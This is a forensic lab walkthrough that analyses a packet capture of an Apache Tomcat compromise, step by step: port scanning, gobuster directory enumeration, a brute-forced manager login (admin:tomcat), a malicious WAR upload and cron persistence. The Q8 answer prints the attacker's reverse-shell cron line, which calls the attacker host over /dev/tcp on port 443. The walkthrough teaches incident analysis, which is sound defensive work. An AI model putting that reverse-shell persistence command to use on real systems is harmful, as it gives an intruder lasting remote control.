

Tomcat Takeover Lab Walkthrough

The SOC team has identified suspicious activity on a web server within the company's intranet. To better understand the situation, they have captured network traffic for analysis. The PCAP file may contain evidence of malicious activities that led to the compromise of the Apache Tomcat web server. Your task is to analyze the PCAP file to understand the scope of the attack.

Q1. Given the suspicious activity detected on the web server, the PCAP file reveals a series of requests across various ports, indicating potential scanning behavior. Can you identify the source IP address responsible for initiating these requests on our server?

10.0.0.115	224.0.0.251	1
14.0.0.120	10.0.0.112	19,607

Go check statistic > conversation

check this ip sender has the most packet

14.0.0.120

Q2. Based on the identified IP address associated with the attacker, can you identify the country from which the attacker's activities originated?

Refer to this website to identify ip country

<https://www.abuseipdb.com/>

14.0.0.120 was not found in our database

This IP was reported 0 times. Confidence of Abuse is 0%.

0%

ISP	CHINANET Guangdong province network
Usage Type	Data Center/Web Hosting/Transit
ASN	Unknown
Domain Name	chinatelecom.cn
Country	 China
City	Shenzhen, Guangdong

14.0.0.120

China

Q3. From the PCAP file, multiple open ports were detected as a result of the attacker's active scan. Which of these ports provides access to the web server admin panel?

Filter : ip addr 14.0.0.120 && http

20126	386.475720	14.0.0.120	10.0.0.112	HTTP	161	GET /admin HTTP/1.1
20138	386.476337	14.0.0.120	10.0.0.112	HTTP	164	GET /examples HTTP/1.1
20140	386.476414	14.0.0.120	10.0.0.112	HTTP	179	GET /examples/jsp/index.html HTTP/1.1
20144	386.476565	14.0.0.120	10.0.0.112	HTTP	187	GET /examples/servlet/TroubleShooter HTTP/1.1
20145	386.476641	14.0.0.120	10.0.0.112	HTTP	169	GET /admin-console HTTP/1.1
20148	386.476887	14.0.0.120	10.0.0.112	HTTP	179	GET /examples/isp/source.isp HTTP/1.1

Frame 20126: 161 bytes on wire (1288 bits), 161 bytes captured (1288 bits)

Ethernet II, Src: VMware_4b:ae:ba (00:0c:29:4b:ae:ba), Dst: VMware_4d:6a:d0 (00:0c:29:4d:6a:d0)

Internet Protocol Version 4, Src: 14.0.0.120, Dst: 10.0.0.112

Transmission Control Protocol, Src Port: 37674, Dst Port: 8080, Seq: 1, Ack: 1, Len: 95

Hypertext Transfer Protocol

GET /admin HTTP/1.1\r\nHost: 10.0.0.112:8080\r\nUser-Agent: gobuster/3.6\r\nAccept-Encoding: gzip\r\n\r\n

[Response in frame: 20166]

[Full request URI: http://10.0.0.112:8080/admin]

Look at the packet detail expand http part, it show the full url including the port

Q4. Following the discovery of open ports on our server, it appears that the attacker attempted to enumerate and uncover directories and files on our web server. Which tools can you identify from the analysis that assisted the attacker in this enumeration process?

20126	386.475720	14.0.0.120	10.0.0.112	HTTP	161	GET /admin HTTP/1.1
20138	386.476337	14.0.0.120	10.0.0.112	HTTP	164	GET /examples HTTP/1.1
20140	386.476414	14.0.0.120	10.0.0.112	HTTP	179	GET /examples/jsp/index.html HTTP/1.1
20144	386.476565	14.0.0.120	10.0.0.112	HTTP	187	GET /examples/servlet/TroubleShooter HTTP/1.1
20145	386.476641	14.0.0.120	10.0.0.112	HTTP	169	GET /admin-console HTTP/1.1
20148	386.476887	14.0.0.120	10.0.0.112	HTTP	179	GET /examples/isp/source.isp HTTP/1.1

Frame 20126: 161 bytes on wire (1288 bits), 161 bytes captured (1288 bits)

Ethernet II, Src: VMware_4b:ae:ba (00:0c:29:4b:ae:ba), Dst: VMware_4d:6a:d0 (00:0c:29:4d:6a:d0)

Internet Protocol Version 4, Src: 14.0.0.120, Dst: 10.0.0.112

Transmission Control Protocol, Src Port: 37674, Dst Port: 8080, Seq: 1, Ack: 1, Len: 95

Hypertext Transfer Protocol

GET /admin HTTP/1.1\r\nHost: 10.0.0.112:8080\r\nUser-Agent: gobuster/3.6\r\nAccept-Encoding: gzip\r\n\r\n

[Response in frame: 20166]

[Full request URI: http://10.0.0.112:8080/admin]

The attacker uses gobuster to enumerate directories and files on web server.

Q5. After the effort to enumerate directories on our web server, the attacker made numerous requests to identify administrative interfaces. Which specific directory related to the admin panel did the attacker uncover?

```
412 GET /manager HTTP/1.1
205 HTTP/1.1 302 Found
413 GET /manager/ HTTP/1.1
221 HTTP/1.1 302 Found
417 GET /manager/html HTTP/1.1
```

This output shows that the attacker found the path /manager status 302 redirected, which caught the attacker's interest.

Q6. After accessing the admin panel, the attacker tried to brute-force the login credentials. Can you determine the correct username and password that the attacker successfully used for login?

```
20522 409.548721 10.0.0.112 14.0.0.120 HTTP 221 HTTP/1.1 302 Found
20523 409.553249 14.0.0.120 10.0.0.112 HTTP 417 GET /manager/html HTTP/1.1
20525 409.554554 10.0.0.112 14.0.0.120 HTTP 1374 HTTP/1.1 401 Unauthorized (text/html)
20533 418.803368 14.0.0.120 10.0.0.112 HTTP 456 GET /manager/html HTTP/1.1
20535 418.807638 10.0.0.112 14.0.0.120 HTTP 1374 HTTP/1.1 401 Unauthorized (text/html)
20537 420.954790 14.0.0.120 10.0.0.112 HTTP 460 GET /manager/html HTTP/1.1
20539 420.956195 10.0.0.112 14.0.0.120 HTTP 1374 HTTP/1.1 401 Unauthorized (text/html)
20541 422.734699 14.0.0.120 10.0.0.112 HTTP 448 GET /manager/html HTTP/1.1
20543 422.736504 10.0.0.112 14.0.0.120 HTTP 1374 HTTP/1.1 401 Unauthorized (text/html)
20545 429.510478 14.0.0.120 10.0.0.112 HTTP 456 GET /manager/html HTTP/1.1
20547 429.512030 10.0.0.112 14.0.0.120 HTTP 1374 HTTP/1.1 401 Unauthorized (text/html)
20549 434.167858 14.0.0.120 10.0.0.112 HTTP 460 GET /manager/html HTTP/1.1
20551 434.169205 10.0.0.112 14.0.0.120 HTTP 1374 HTTP/1.1 401 Unauthorized (text/html)
20553 437.100598 14.0.0.120 10.0.0.112 HTTP 456 GET /manager/html HTTP/1.1
20568 437.119849 10.0.0.112 14.0.0.120 HTTP 80 HTTP/1.1 200 OK (text/html)
20571 437.174669 14.0.0.120 10.0.0.112 HTTP 476 GET /manager/images/tomcat.gif HTTP/1.1
20576 437.176296 10.0.0.112 14.0.0.120 HTTP 912 HTTP/1.1 200 OK (GIF89a)
20579 437.178997 14.0.0.120 10.0.0.112 HTTP 480 GET /manager/images/asf-logo.svg HTTP/1.1
20599 437.180988 10.0.0.112 14.0.0.120 HTTP/X... 1338 HTTP/1.1 200 OK
20616 547.381269 14.0.0.120 10.0.0.112 HTTP 712 POST /manager/html/unload;jsessionid=00F586F27B2

> Frame 20553: 456 bytes on wire (3648 bits), 456 bytes captured (3648 bits)
> Ethernet II, Src: VMware_4b:ae:ba (00:0c:29:4b:ae:ba), Dst: VMware_4d:6a:d0 (00:0c:29:4d:6a:d0)
> Internet Protocol Version 4, Src: 14.0.0.120, Dst: 10.0.0.112
> Transmission Control Protocol, Src Port: 37736, Dst Port: 8080, Seq: 4826, Ack: 27247, Len: 390
▼ Hypertext Transfer Protocol
  GET /manager/html HTTP/1.1\r\n
    Request Method: GET
    Request URI: /manager/html
    Request Version: HTTP/1.1
    Host: 10.0.0.112:8080\r\n
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n
    Accept-Language: en-US,en;q=0.5\r\n
    Accept-Encoding: gzip, deflate\r\n
    Connection: keep-alive\r\n
    Upgrade-Insecure-Requests: 1\r\n
  Authorization: Basic YWRtaW46dG9tY2F0\r\n
    Credentials: admin:tomcat
  \r\n
  [Response in frame: 20568]
  [Full request URI: http://10.0.0.112:8080/manager/html]
```

After constant status 401, shows that the attacker trying to bruteforce the endpoint, and lastly status 200, attacker successfully login, checking the GET request that succeeded, looking at the packet http detail, the attacker use those credentials to login : admin:tomcat

Q7. Once inside the admin panel, the attacker attempted to upload a file with the intent of establishing a reverse shell. Can you identify the name of this malicious file from the captured data?

```
712 POST /manager/html/upload;jsessionid=0DE586F27B2F48E
71 HTTP/1.1 200 OK (text/html)
```

Looking at this long request on upload definitely the attacker upload something suspicious

```
MIME Multipart Media Encapsulation, Type: multipart/form-data, Boundary: "-----
[Type: multipart/form-data]
First boundary: -----309854885940911807712888696060\r\n
  Encapsulated multipart part: (application/octet-stream)
    Content-Disposition: form-data; name="deployWar"; filename="JXQOZY.war"\r\n
    Content-Type: application/octet-stream\r\n\r\n
  > Data (1083 bytes)
Last boundary: \r\n-----309854885940911807712888696060--\r\n
```

Looking at the packet detail, open MIME detail show the file name which is

JXQOZY.war

Q8. After successfully establishing a reverse shell on our server, the attacker aimed to ensure persistence on the compromised machine. From the analysis, can you determine the specific command they are scheduled to run to maintain their presence?

20642	547.487124	10.0.0.112	14.0.0.120	HTTP	71 HTTP/1.1 200 OK (text/html)
20643	547.487125	14.0.0.120	10.0.0.112	TCP	66 44062 → 8080 [ACK] Seq=2095 Ack=17829 Win=
20644	556.169867	14.0.0.120	10.0.0.112	HTTP	581 GET /JXQOZY/ HTTP/1.1
20645	556.170085	10.0.0.112	14.0.0.120	TCP	66 8080 → 44062 [ACK] Seq=17829 Ack=2610 Win=
20646	556.299692	10.0.0.112	14.0.0.120	TCP	74 55162 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=
20647	556.332590	14.0.0.120	10.0.0.112	TCP	74 80 → 55162 [SYN, ACK] Seq=0 Ack=1 Win=6516

Looking the packet output, after the server accept the file and the attacker GET request, near below the packet you'll see both server and attacker connect each other indicating a reverse shell has establish

```
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443
crontab -i cron

crontab -l

* * * * * /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'
```

/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'

Then follow the stream you can see the command where the attacker wants to remain persistant on the compromised machine. `tcp.flags.syn == 1 && tcp.flags.ack == 1` //this filter if you want to see the reverse shell established.